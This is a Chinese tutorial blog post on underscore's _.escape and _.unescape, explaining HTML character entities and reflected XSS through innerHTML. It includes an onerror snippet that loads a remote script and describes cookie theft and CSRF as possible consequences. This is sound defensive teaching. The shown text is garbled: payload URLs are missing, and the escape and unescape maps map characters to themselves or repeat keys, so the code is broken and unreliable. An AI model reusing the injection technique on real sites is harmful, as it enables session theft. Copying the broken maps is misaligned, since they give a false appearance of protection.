摘要:前言提供了函數(shù),用于轉(zhuǎn)義字符串,替換和字符為字符實(shí)體。如果希望正確地顯示預(yù)留字符,我們必須在源代碼中使用字符實(shí)體。字符實(shí)體有兩種形式。轉(zhuǎn)義我們的應(yīng)對(duì)方式就是將取得的值中的特殊字符轉(zhuǎn)為字符實(shí)體。
前言
underscore 提供了 _.escape 函數(shù),用于轉(zhuǎn)義 HTML 字符串,替換 &, <, >, ", ", 和 ` 字符為字符實(shí)體。
_.escape("Curly, Larry & Moe"); => "Curly, Larry & Moe"
underscore 同樣提供了 _.unescape 函數(shù),功能與 _.escape 相反:
_.unescape("Curly, Larry & Moe"); => "Curly, Larry & Moe"XSS 攻擊
可是我們?yōu)槭裁葱枰D(zhuǎn)義 HTML 呢?
舉個(gè)例子,一個(gè)個(gè)人中心頁的地址為:www.example.com/user.html?name=kevin,我們希望從網(wǎng)址中取出用戶的名稱,然后將其顯示在頁面中,使用 JavaScript,我們可以這樣做:
/** * 該函數(shù)用于取出網(wǎng)址參數(shù) */ function getQueryString(name) { var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); var r = window.location.search.substr(1).match(reg); if (r != null) return unescape(r[2]); return null; } var name = getQueryString("name"); document.getElementById("username").innerHTML = name;
如果被一個(gè)同樣懂技術(shù)的人發(fā)現(xiàn)的話,那么他可能會(huì)動(dòng)點(diǎn)“壞心思”:
比如我把這個(gè)頁面的地址修改為:www.example.com/user.html?name=。
就相當(dāng)于:
document.getElementById("username").innerHTML = "";
會(huì)有什么效果呢?
結(jié)果是什么也沒有發(fā)生……
這是因?yàn)?
根據(jù) W3C 規(guī)范,script 標(biāo)簽中所指的腳本僅在瀏覽器第一次加載頁面時(shí)對(duì)其進(jìn)行解析并執(zhí)行其中的腳本代碼,所以通過 innerHTML 方法動(dòng)態(tài)插入到頁面中的 script 標(biāo)簽中的腳本代碼在所有瀏覽器中默認(rèn)情況下均不能被執(zhí)行。
千萬不要以為這樣就安全了……
你把地址改成 www.example.com/user.html?name= 呢?
就相當(dāng)于:
document.getElementById("username").innerHTML = "";
整理下其中 onerror 的代碼:
var s = document.createElement("script"); s.src = "https://mqyqingfeng.github.io/demo/js/alert.js"; document.body.appendChild(s);
代碼中引入了一個(gè)第三方的腳本,這樣做的事情就多了,從取你的 cookie,發(fā)送到黑客自己的服務(wù)器,到監(jiān)聽你的輸入,到發(fā)起 CSRF 攻擊,直接以你的身份調(diào)用網(wǎng)站的各種接口……
總之,很危險(xiǎn)。
為了防止這種情況的發(fā)生,我們可以將網(wǎng)址上的值取到后,進(jìn)行一個(gè)特殊處理,再賦值給 DOM 的 innerHTML。
字符實(shí)體問題是怎么進(jìn)行轉(zhuǎn)義呢?而這就要談到字符實(shí)體的概念了。
在 HTML 中,某些字符是預(yù)留的。比如說在 HTML 中不能使用小于號(hào)(<)和大于號(hào)(>),因?yàn)闉g覽器會(huì)誤認(rèn)為它們是標(biāo)簽。
如果希望正確地顯示預(yù)留字符,我們必須在 HTML 源代碼中使用字符實(shí)體(character entities)。
字符實(shí)體有兩種形式:
&entity_name;
entity_number;。
比如說我們要顯示小于號(hào),我們可以這樣寫:< 或 <;
值得一提的是,使用實(shí)體名而不是數(shù)字的好處是,名稱易于記憶。不過壞處是,瀏覽器也許并不支持所有實(shí)體名稱(但是對(duì)實(shí)體數(shù)字的支持卻很好)。
也許你會(huì)好奇,為什么 < 的字符實(shí)體是 < 呢?這是怎么進(jìn)行計(jì)算的呢?
其實(shí)很簡(jiǎn)單,就是取字符的 unicode 值,以 開頭接十進(jìn)制數(shù)字 或者以 開頭接十六進(jìn)制數(shù)字。舉個(gè)例子:
var num = "<".charCodeAt(0); // 60 num.toString(10) // "60" num.toString(16) // "3c"
我們可以以 < 或者 < 在 HTML 中表示出 <。
不信你可以寫這樣一段 HTML,顯示的效果都是 <:
<<<
再舉個(gè)例子:以字符 "喵" 為例:
var num = "喵".charCodeAt(0); // 21941 num.toString(10) // "21941" num.toString(16) // "55b5"
在 HTML 中,我們就可以用 喵 或者 喵 表示喵,不過“喵”并不具有實(shí)體名。
轉(zhuǎn)義我們的應(yīng)對(duì)方式就是將取得的值中的特殊字符轉(zhuǎn)為字符實(shí)體。
舉個(gè)例子,當(dāng)頁面地址是 www.example.com/user.html?name=123時(shí),我們通過 getQueryString 取得 name 的值:
var name = getQueryString("name"); // 123
如果我們直接:
document.getElementById("username").innerHTML = name;
如我們所知,使用 innerHTML 會(huì)解析內(nèi)容字符串,并且改變?cè)氐?HMTL 內(nèi)容,最終,從樣式上,我們會(huì)看到一個(gè)加粗的 123。
如果我們轉(zhuǎn)義,將 123 中的 < 和 > 轉(zhuǎn)為實(shí)體字符,即 123,我們?cè)僭O(shè)置 innerHTML,瀏覽器就不會(huì)將其解釋為標(biāo)簽,而是一段字符,最終會(huì)直接顯示 123,這樣就避免了潛在的危險(xiǎn)。
思考那么問題來了,我們具體要轉(zhuǎn)義哪些字符呢?
想想我們之所以要轉(zhuǎn)義 < 和 > ,是因?yàn)闉g覽器會(huì)將其認(rèn)為是一個(gè)標(biāo)簽的開始或結(jié)束,所以要轉(zhuǎn)義的字符一定是瀏覽器會(huì)特殊對(duì)待的字符,那還有什么字符會(huì)被特殊對(duì)待的呢?(O_o)??
& 是一個(gè),因?yàn)闉g覽器會(huì)認(rèn)為 & 是一個(gè)字符實(shí)體的開始,如果你輸入了 <,瀏覽器會(huì)將其解釋為 <,但是當(dāng) < 是作為用戶輸入的值時(shí),應(yīng)該僅僅是顯示用戶輸入的值,而不是將其解釋為一個(gè) <。
" 和 " 也要注意,舉個(gè)例子:
服務(wù)器端渲染的代碼為:
function render (input) { return "" }
input 的值如果直接來自于用戶的輸入,用戶可以輸入 "> ,最終渲染的 HTML 代碼就變成了:
">
結(jié)果又是一次 XSS 攻擊……
最后還有一個(gè)是反引號(hào) `,在 IE 低版本中(≤ 8),反引號(hào)可以用于關(guān)閉標(biāo)簽:
所以我們最終確定的要轉(zhuǎn)義的字符為:&, <, >, ", ", 和 `。轉(zhuǎn)義對(duì)應(yīng)的值為:
& --> & < --> < > --> > " --> " " --> ' ` --> <
值得注意的是:?jiǎn)我?hào)和反引號(hào)使用是實(shí)體數(shù)字、而其他使用的是實(shí)體名稱,這主要是從兼容性的角度考慮的,有的瀏覽器并不能很好的支持單引號(hào)和反引號(hào)的實(shí)體名稱。
_.escape那么具體我們?cè)撊绾螌?shí)現(xiàn)轉(zhuǎn)義呢?我們直接看一個(gè)簡(jiǎn)單的實(shí)現(xiàn):
var _ = {}; var escapeMap = { "&": "&", "<": "<", ">": ">", """: """, """: "'", "`": "`" }; _.escape = function(string) { var escaper = function(match) { return escapeMap[match]; }; // 使用非捕獲性分組 var source = "(?:" + Object.keys(escapeMap).join("|") + ")"; console.log(source) // (?:&|<|>|"|"|`) var testRegexp = RegExp(source); var replaceRegexp = RegExp(source, "g"); string = string == null ? "" : "" + string; return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string; }
實(shí)現(xiàn)的思路很簡(jiǎn)單,構(gòu)造一個(gè)正則表達(dá)式,先判斷是否能匹配到,如果能匹配到,就執(zhí)行 replace,根據(jù) escapeMap 將特殊字符進(jìn)行替換,如果不能匹配,說明不需要轉(zhuǎn)義,直接返回原字符串。
值得一提的是,我們?cè)诖a中打印了構(gòu)造出的正則表達(dá)式為:
(?:&|<|>|"|"|`)
其中的 ?: 是個(gè)什么意思?沒有這個(gè) ?: 就不可以匹配嗎?我們接著往下看。
非捕獲分組(?:pattern) 表示非捕獲分組,即會(huì)匹配 pattern 但不獲取匹配結(jié)果,不進(jìn)行存儲(chǔ)供以后使用。
我們來看個(gè)例子:
function replacer(match, p1, p2, p3) { // match,表示匹配的子串 abc12345#$*% // p1,第 1 個(gè)括號(hào)匹配的字符串 abc // p2,第 2 個(gè)括號(hào)匹配的字符串 12345 // p3,第 3 個(gè)括號(hào)匹配的字符串 #$*% return [p1, p2, p3].join(" - "); } var newString = "abc12345#$*%".replace(/([^d]*)(d*)([^w]*)/, replacer); // abc - 12345 - #$*%
現(xiàn)在我們給第一個(gè)括號(hào)中的表達(dá)式加上 ?:,表示第一個(gè)括號(hào)中的內(nèi)容不需要儲(chǔ)存結(jié)果:
function replacer(match, p1, p2) { // match,表示匹配的子串 abc12345#$*% // p1,現(xiàn)在匹配的是字符串 12345 // p1,現(xiàn)在匹配的是字符串 #$*% return [p1, p2].join(" - "); } var newString = "abc12345#$*%".replace(/(?:[^d]*)(d*)([^w]*)/, replacer); // 12345 - #$*%
在 _.escape 函數(shù)中,即使不使用 ?: 也不會(huì)影響匹配結(jié)果,只是使用 ?: 性能會(huì)更高一點(diǎn)。
反轉(zhuǎn)義我們使用了 _.escape 將指定字符轉(zhuǎn)為字符實(shí)體,我們還需要一個(gè)方法將字符實(shí)體轉(zhuǎn)義回來。
寫法與 _.unescape 類似:
var _ = {}; var unescapeMap = { "&": "&", "<": "<", ">": ">", """: """, "'": """, "`": "`" }; _.unescape = function(string) { var escaper = function(match) { return unescapeMap[match]; }; // 使用非捕獲性分組 var source = "(?:" + Object.keys(unescapeMap).join("|") + ")"; console.log(source) // (?:&|<|>|"|"|`) var testRegexp = RegExp(source); var replaceRegexp = RegExp(source, "g"); string = string == null ? "" : "" + string; return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string; } console.log(_.unescape("Curly, Larry & Moe")) // Curly, Larry & Moe抽象
你會(huì)不會(huì)覺得 _.escape 與 _.unescape 的代碼實(shí)在是太像了,以至于讓人感覺很冗余呢?
那么我們又該如何優(yōu)化呢?
我們可以先寫一個(gè) _.invert 函數(shù),將 escapeMap 傳入的時(shí)候,可以得到 unescapeMap,然后我們?cè)俑鶕?jù)傳入的 map (escapeMap 或者 unescapeMap) 不同,返回不同的函數(shù)。
實(shí)現(xiàn)的方式很簡(jiǎn)單,直接看代碼:
/** * 返回一個(gè)object副本,使其鍵(keys)和值(values)對(duì)換。 * _.invert({a: "b"}); * => {b: "a"}; */ _.invert = function(obj) { var result = {}; var keys = Object.keys(obj); for (var i = 0, length = keys.length; i < length; i++) { result[obj[keys[i]]] = keys[i]; } return result; }; var escapeMap = { "&": "&", "<": "<", ">": ">", """: """, """: "'", "`": "`" }; var unescapeMap = _.invert(escapeMap); var createEscaper = function(map) { var escaper = function(match) { return map[match]; }; // 使用非捕獲性分組 var source = "(?:" + _.keys(map).join("|") + ")"; var testRegexp = RegExp(source); var replaceRegexp = RegExp(source, "g"); return function(string) { string = string == null ? "" : "" + string; return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string; }; }; _.escape = createEscaper(escapeMap); _.unescape = createEscaper(unescapeMap);underscore 系列
underscore 系列目錄地址:https://github.com/mqyqingfeng/Blog。
underscore 系列預(yù)計(jì)寫八篇左右,重點(diǎn)介紹 underscore 中的代碼架構(gòu)、鏈?zhǔn)秸{(diào)用、內(nèi)部函數(shù)、模板引擎等內(nèi)容,旨在幫助大家閱讀源碼,以及寫出自己的 undercore。
如果有錯(cuò)誤或者不嚴(yán)謹(jǐn)?shù)牡胤?,?qǐng)務(wù)必給予指正,十分感謝。如果喜歡或者有所啟發(fā),歡迎 star,對(duì)作者也是一種鼓勵(lì)。
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://www.ezyhdfw.cn/yun/93813.html
摘要:創(chuàng)建一個(gè)全局對(duì)象在瀏覽器中表示為對(duì)象在中表示對(duì)象保存下劃線變量被覆蓋之前的值如果出現(xiàn)命名沖突或考慮到規(guī)范可通過方法恢復(fù)被占用之前的值并返回對(duì)象以便重新命名創(chuàng)建一個(gè)空的對(duì)象常量便于內(nèi)部共享使用將內(nèi)置對(duì)象的原型鏈緩存在局部變量方便快速調(diào)用將 // Underscore.js 1.3.3 // (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc....
摘要:所以它與其他系列的文章并不沖突,完全可以在閱讀完這個(gè)系列后,再跟著其他系列的文章接著學(xué)習(xí)。如何閱讀我在寫系列的時(shí)候,被問的最多的問題就是該怎么閱讀源碼我想簡(jiǎn)單聊一下自己的思路。感謝大家的閱讀和支持,我是冴羽,下個(gè)系列再見啦 前言 別名:《underscore 系列 8 篇正式完結(jié)!》 介紹 underscore 系列是我寫的第三個(gè)系列,前兩個(gè)系列分別是 JavaScript 深入系列、...
摘要:前言本篇接著上篇系列之實(shí)現(xiàn)一個(gè)模板引擎上。字符串中的每個(gè)字符均可由一個(gè)轉(zhuǎn)義序列表示。在中,有四個(gè)字符被認(rèn)為是行終結(jié)符,其他的折行字符都會(huì)被視為空白。 前言 本篇接著上篇 underscore 系列之實(shí)現(xiàn)一個(gè)模板引擎(上)。 鑒于本篇涉及的知識(shí)點(diǎn)太多,我們先來介紹下會(huì)用到的知識(shí)點(diǎn)。 反斜杠的作用 var txt = We are the so-called Vikings from th...
摘要:值得注意的是,如果值在前面也就是值小于值,那么值域會(huì)被認(rèn)為是零長(zhǎng)度,而不是負(fù)增長(zhǎng)。 underscore.js源碼加注釋一共1500多行,它提供了一整套函數(shù)式編程實(shí)用的功能,一共一百多個(gè)函數(shù),幾乎每一個(gè)函數(shù)都可以作為參考典范。初讀的時(shí)候,真是一臉懵圈,各種函數(shù)閉包、迭代和嵌套的使用,讓我一時(shí)很難消化。在這里,我來記錄一下我學(xué)習(xí)underscore.js的一些發(fā)現(xiàn),以及幾個(gè)我認(rèn)為比較經(jīng)典...
摘要:第一版我們來嘗試實(shí)現(xiàn)第一版第一版為了驗(yàn)證是否有用文件文件完整的可以查看示例一在這里我們使用了,實(shí)際上在文章中使用的是構(gòu)造函數(shù)。構(gòu)造函數(shù)創(chuàng)建一個(gè)新的對(duì)象。 前言 underscore 提供了模板引擎的功能,舉個(gè)例子: var tpl = hello: ; var compiled = _.template(tpl); compiled({name: Kevin}); // hello:...
閱讀 2668·2021-11-25 09:43
閱讀 1921·2021-09-22 15:26
閱讀 3953·2019-08-30 15:56
閱讀 1788·2019-08-30 15:55
閱讀 1957·2019-08-30 15:54
閱讀 872·2019-08-30 15:52
閱讀 3230·2019-08-29 16:23
閱讀 965·2019-08-29 12:43